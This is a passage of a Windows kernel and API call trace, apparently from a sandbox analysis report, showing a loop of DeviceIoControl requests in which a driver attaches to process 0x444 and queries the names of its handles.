ReturnLength=0xfffff880054f8550) returned 0x0 [0070.820] ObfDereferenceObject (Object=0xfffff8a0015eff00) returned 0x1 [0070.820] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.820] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.820] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.820] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0070.820] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.820] PsAcquireProcessExitSynchronization () returned 0x0 [0070.820] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.820] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f78850, HandleInformation=0x0) returned 0x0 [0070.820] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.820] PsReleaseProcessExitSynchronization () returned 0x2 [0070.820] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.820] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800391b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.820] ObfDereferenceObject (Object=0xfffffa8002f78850) returned 0x1 [0070.820] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.821] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.821] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.821] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x144, lpOverlapped=0x0) returned 1 [0070.821] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.821] PsAcquireProcessExitSynchronization () returned 0x0 [0070.821] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.821] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002b78070, HandleInformation=0x0) returned 0x0 [0070.821] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.821] PsReleaseProcessExitSynchronization () returned 0x2 [0070.821] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.821] ObQueryNameString (in: Object=0xfffffa8002b78070, ObjectNameInfo=0xfffffa800399d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.821] ObfDereferenceObject (Object=0xfffffa8002b78070) returned 0x11 [0070.821] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.821] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.821] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.821] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0070.821] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.821] PsAcquireProcessExitSynchronization () returned 0x0 [0070.821] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.821] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0070.821] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.821] PsReleaseProcessExitSynchronization () returned 0x2 [0070.821] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.821] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800399e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800399e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.821] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0070.821] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.821] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.821] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.821] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.821] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.821] PsAcquireProcessExitSynchronization () returned 0x0 [0070.822] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.822] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80114574a0, HandleInformation=0x0) returned 0x0 [0070.822] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.822] PsReleaseProcessExitSynchronization () returned 0x2 [0070.822] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.822] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003919044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003919044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.822] ObfDereferenceObject (Object=0xfffffa80114574a0) returned 0x1 [0070.822] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.822] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.822] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.822] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.822] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.822] PsAcquireProcessExitSynchronization () returned 0x0 [0070.822] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.822] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034d7430, HandleInformation=0x0) returned 0x0 [0070.822] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.822] PsReleaseProcessExitSynchronization () returned 0x2 [0070.822] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.822] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.822] ObfDereferenceObject (Object=0xfffffa80034d7430) returned 0x1 [0070.822] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.822] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.822] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.822] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0070.822] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.822] PsAcquireProcessExitSynchronization () returned 0x0 [0070.822] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.822] ObReferenceObjectByHandle (in: Handle=0x338, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00196fbe0, HandleInformation=0x0) returned 0x0 [0070.822] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.822] PsReleaseProcessExitSynchronization () returned 0x2 [0070.822] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.822] ObQueryNameString (in: Object=0xfffff8a00196fbe0, ObjectNameInfo=0xfffffa8003980044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003980044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.822] ObfDereferenceObject (Object=0xfffff8a00196fbe0) returned 0x2 [0070.823] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.823] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.823] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.823] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0070.823] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.823] PsAcquireProcessExitSynchronization () returned 0x0 [0070.823] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.823] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0070.823] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.823] PsReleaseProcessExitSynchronization () returned 0x2 [0070.823] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.823] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8003981044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003981044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.823] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0070.823] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.823] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.823] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.823] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0070.823] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.823] PsAcquireProcessExitSynchronization () returned 0x0 [0070.823] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.823] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0070.823] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.823] PsReleaseProcessExitSynchronization () returned 0x2 [0070.823] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.823] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8003982044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003982044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.823] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0070.823] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.823] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.823] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.823] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0070.823] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.823] PsAcquireProcessExitSynchronization () returned 0x0 [0070.823] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.823] ObReferenceObjectByHandle (in: Handle=0x350, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001973760, HandleInformation=0x0) returned 0x0 [0070.824] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.824] PsReleaseProcessExitSynchronization () returned 0x2 [0070.824] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.824] ObQueryNameString (in: Object=0xfffff8a001973760, ObjectNameInfo=0xfffffa80039a4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.824] ObfDereferenceObject (Object=0xfffff8a001973760) returned 0x2 [0070.824] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.824] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.824] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.824] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.824] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.824] PsAcquireProcessExitSynchronization () returned 0x0 [0070.824] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.824] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034d1680, HandleInformation=0x0) returned 0x0 [0070.824] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.824] PsReleaseProcessExitSynchronization () returned 0x2 [0070.824] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.824] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003983044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003983044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.824] ObfDereferenceObject (Object=0xfffffa80034d1680) returned 0x1 [0070.824] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.824] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.824] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.877] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0070.878] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.878] PsAcquireProcessExitSynchronization () returned 0x0 [0070.878] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.878] ObReferenceObjectByHandle (in: Handle=0x3dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020fc3c0, HandleInformation=0x0) returned 0x0 [0070.878] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.878] PsReleaseProcessExitSynchronization () returned 0x2 [0070.878] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.878] ObQueryNameString (in: Object=0xfffffa80020fc3c0, ObjectNameInfo=0xfffffa80039b3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039b3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.878] ObfDereferenceObject (Object=0xfffffa80020fc3c0) returned 0x1 [0070.878] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.878] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.878] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.878] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0070.878] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.878] PsAcquireProcessExitSynchronization () returned 0x0 [0070.878] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.878] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80028d9470, HandleInformation=0x0) returned 0x0 [0070.878] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.878] PsReleaseProcessExitSynchronization () returned 0x2 [0070.878] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.878] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039b4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039b4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.878] ObfDereferenceObject (Object=0xfffffa80028d9470) returned 0x1 [0070.878] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.878] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.878] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.878] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0070.878] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.878] PsAcquireProcessExitSynchronization () returned 0x0 [0070.878] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.878] ObReferenceObjectByHandle (in: Handle=0x3f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001a97420, HandleInformation=0x0) returned 0x0 [0070.878] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.878] PsReleaseProcessExitSynchronization () returned 0x2 [0070.879] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.879] ObQueryNameString (in: Object=0xfffff8a001a97420, ObjectNameInfo=0xfffffa80039b5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039b5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.879] ObfDereferenceObject (Object=0xfffff8a001a97420) returned 0x2 [0070.879] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.879] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.879] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.879] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0070.879] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.879] PsAcquireProcessExitSynchronization () returned 0x0 [0070.879] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.879] ObReferenceObjectByHandle (in: Handle=0x3fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001ab3eb0, HandleInformation=0x0) returned 0x0 [0070.879] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.879] PsReleaseProcessExitSynchronization () returned 0x2 [0070.879] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.879] ObQueryNameString (in: Object=0xfffff8a001ab3eb0, ObjectNameInfo=0xfffffa80039b6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039b6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.879] ObfDereferenceObject (Object=0xfffff8a001ab3eb0) returned 0x2 [0070.879] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.879] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.879] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.879] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0070.879] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.879] PsAcquireProcessExitSynchronization () returned 0x0 [0070.879] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054f85d0) [0070.879] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0070.879] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.879] PsReleaseProcessExitSynchronization () returned 0x2 [0070.879] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x199 [0070.879] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa80039b7044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039b7044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.879] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0070.879] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.879] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.880] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.880] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0070.880] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.880] PsAcquireProcessExitSynchronization () returned 0x0 [0070.880] KeStackAttachProcess (in: 